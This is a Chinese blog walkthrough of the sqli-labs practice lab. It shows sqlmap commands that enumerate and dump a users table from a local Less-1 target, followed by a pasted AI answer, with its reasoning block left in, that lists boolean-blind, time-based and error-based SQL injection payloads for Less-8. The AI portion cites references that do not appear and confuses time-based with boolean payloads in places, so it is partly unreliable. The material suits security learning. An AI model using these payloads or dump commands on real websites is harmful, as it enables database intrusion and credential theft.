sqlmap sqli less-1

本文详细介绍了使用Python SQLMap工具进行SQL注入攻击的几个关键命令,包括获取数据库信息、数据表、列名以及数据导出。通过实例展示了SQLMap如何探测和利用SQL漏洞,强调了网络安全和数据库防护的重要性。

在这里插入图片描述
python sqlmap.py -u “http://192.168.1.122/sqli/Less-1/?id=1”
在这里插入图片描述
python sqlmap.py -u “http://192.168.1.122/sqli/Less-1/?id=1” -dbs
在这里插入图片描述
python sqlmap.py -u “http://192.168.1.122/sqli/Less-1/?id=1” -D security -tablespython
在这里插入图片描述
python sqlmap.py -u “http://192.168.1.122/sqli/Less-1/?id=1” -D security -T users -columns
在这里插入图片描述
python sqlmap.py -u “http://192.168.1.122/sqli/Less-1/?id=1” -D security -T users -C id,username,password -dump
在这里插入图片描述

<think> 我们正在处理用户关于sqlmapsqli-labs less-8进行盲注时,通过Wireshark捕获的payload的问题。 根据引用[1]和引用[2],我们知道: - 引用[1]提到了sqlmap默认的用户代理,以及使用Wireshark抓包查看,同时提到可以通过--user-agent伪造User-Agent。 - 引用[2]给出了一个具体的sqlmap命令示例,用于对sqli-labs less-8进行盲注(布尔型注入)。 用户的问题:想查找使用sqlmapsqli-labs less-8进行盲注时,可通过wireshark捕获的payload。 分析: -SQL注入测试中,payload指的是发送到目标服务器的HTTP请求中包含的恶意SQL代码片段。 - 由于less-8是布尔盲注,sqlmap会发送一系列带有不同布尔条件的payload,通过页面返回的真假(如页面是否显示特定内容)来判断注入结果。 - 使用Wireshark可以捕获到这些HTTP请求的原始数据包,从而看到具体的payload。 步骤: 1. 首先,用户需要运行sqlmap进行测试,命令如引用[2]所示(稍作调整): sqlmap -u "http://<target-ip>/sqli-labs/Less-8/?id=1" --batch --technique B --dbs 这里<target-ip>需要替换为实际的IP地址。 2. 同时,使用Wireshark捕获网络流量(可以设置过滤条件,如目标IP和端口)。 3. 在捕获的数据包中,查找HTTP请求(通常是GET请求),查看请求中的id参数值,这些值就是sqlmap发送的payload。 常见的payload形式(布尔盲注): - 布尔盲注的payload通常是将原参数值替换为包含布尔表达式的SQL语句,这些表达式用于逐位提取信息(如数据库名、表名等)。 - 例如,一个典型的payload可能如下: id=1' AND (SELECT SUBSTRING((SELECT DATABASE()),1,1))='a'--+ 这个payload用于检查当前数据库名的第一个字符是否为'a'。 由于sqlmap是自动化工具,它会发送大量的payload,因此捕获到的payload会非常多。 示例捕获: - 在Wireshark中,我们可以找到HTTP GET请求包,查看请求的URI部分,例如: GET /sqli-labs/Less-8/?id=1' AND (SELECT 1232 FROM (SELECT(SLEEP(5)))abc) AND 'dTYj'='dTYj HTTP/1.1 注意:这只是一个例子,实际payload会因注入点不同而有所变化。 但是,用户需要的是在less-8盲注中捕获的payload。我们可以根据布尔盲注的特点,给出一些典型的payload例子。 典型payload(布尔盲注): 1. 判断数据库名长度的payload: id=1' AND (LENGTH(DATABASE()))=8 --+ 这里假设数据库名长度为8。 2. 逐位判断数据库名的payload: id=1' AND (SUBSTRING((SELECT DATABASE()),1,1))='s' --+ id=1' AND (SUBSTRING((SELECT DATABASE()),2,1))='e' --+ 以此类推。 注意:在sqli-labs less-8中,注入点是字符型,所以payload中使用了单引号闭合。 由于实际运行sqlmap时,payload是由sqlmap自动生成的,并且每次运行可能不同,我们无法给出一个固定的payload列表。但用户可以通过Wireshark捕获到实时的payload。 建议: - 用户运行sqlmap的同时运行Wireshark,然后过滤出目标IP的HTTP流量。 - 在Wireshark中,右键点击HTTP请求包 -> Follow -> HTTP Stream,可以查看完整的HTTP请求。 另外,引用[1]提到sqlmap默认的User-Agent,所以在捕获的包中,User-Agent头应该是类似:sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)。如果用户使用--user-agent选项,则会是自定义的User-Agent。 总结回答: - 我们解释了如何捕获payload,并给出了一些布尔盲注的payload示例。 - 同时提醒用户实际操作时可以通过Wireshark捕获。 最后,根据要求,我们需要生成相关问题。 </think>### SQLMapSqli-Labs Less-8进行盲注时的Payload分析 在`sqli-labs`的**Less-8(布尔盲注关卡)**中,使用SQLMap进行注入测试时,Wireshark捕获的典型Payload示例如下: #### 1. **布尔盲注探测基础Payload** ```http GET /sqli-labs/Less-8/?id=1' AND 1=1--+ HTTP/1.1 Host: 192.168.0.103 User-Agent: sqlmap/1.7.12 (http://sqlmap.org) ... ``` - **作用**:验证注入点是否响应布尔逻辑(`1=1`为真时页面返回正常内容)。 - **特征**:闭合原查询的单引号(`'`),添加永真条件(`AND 1=1--+`),尾部注释符(`--+`)屏蔽后续SQL。 #### 2. **条件响应探测Payload** ```http GET /sqli-labs/Less-8/?id=1' AND (SELECT 1232 FROM (SELECT(SLEEP(5)))abc) AND 'dTYj'='dTYj HTTP/1.1 ... ``` - **作用**:通过时间延迟(`SLEEP(5)`)验证布尔逻辑,若延迟发生则证明注入成功[^2]。 #### 3. **数据库名枚举Payload** ```http GET /sqli-labs/Less-8/?id=1' AND (MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1) > 'a')--+ HTTP/1.1 ... ``` - **作用**:逐字符爆破数据库名(`DATABASE()`),通过比较ASCII码值(`> 'a'`)判断字符内容。 #### 4. **表名提取Payload** ```http GET /sqli-labs/Less-8/?id=1' AND (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2) a WHERE 1=1 AND (SELECT MID((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1))>'a')>0--+ HTTP/1.1 ... ``` - **作用**:从`information_schema`中提取表名,通过子查询逐字符比较(`MID(... ,1,1)>'a'`)。 #### 5. **错误触发Payload** ```http GET /sqli-labs/Less-8/?id=1' AND GTID_SUBSET(CONCAT(0x71787a6b71,(SELECT (ELT(1=1,1))),0x7170627071),1)--+ HTTP/1.1 ... ``` - **作用**:通过函数`ELT()`和`CONCAT()`构造条件,触发数据库错误以验证漏洞。 --- ### Wireshark捕获关键点 1. **User-Agent标识** SQLMap默认使用特征头:`User-Agent: sqlmap/1.7.12 (http://sqlmap.org)`[^1]。 2. **布尔逻辑结构** 所有Payload均包含布尔表达式(如`AND ... > 'a'`),通过页面响应差异判断结果。 3. **编码与注释** - 十六进制编码(如`0x71787a6b71`)绕过过滤。 - 尾部注释符(`--+`或`#`)屏蔽原SQL剩余部分。 --- ### 操作建议 1. **Wireshark过滤条件**: ```filter http.request.uri contains "Less-8" && ip.dst == <靶机IP> ``` 2. **SQLMap命令参考**: ```bash sqlmap -u "http://192.168.0.103/sqli-labs/Less-8/?id=1" --batch --technique=B --dbs ``` - `--technique=B`:强制使用布尔盲注[^2]。 - `--dbs`:枚举数据库列表。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值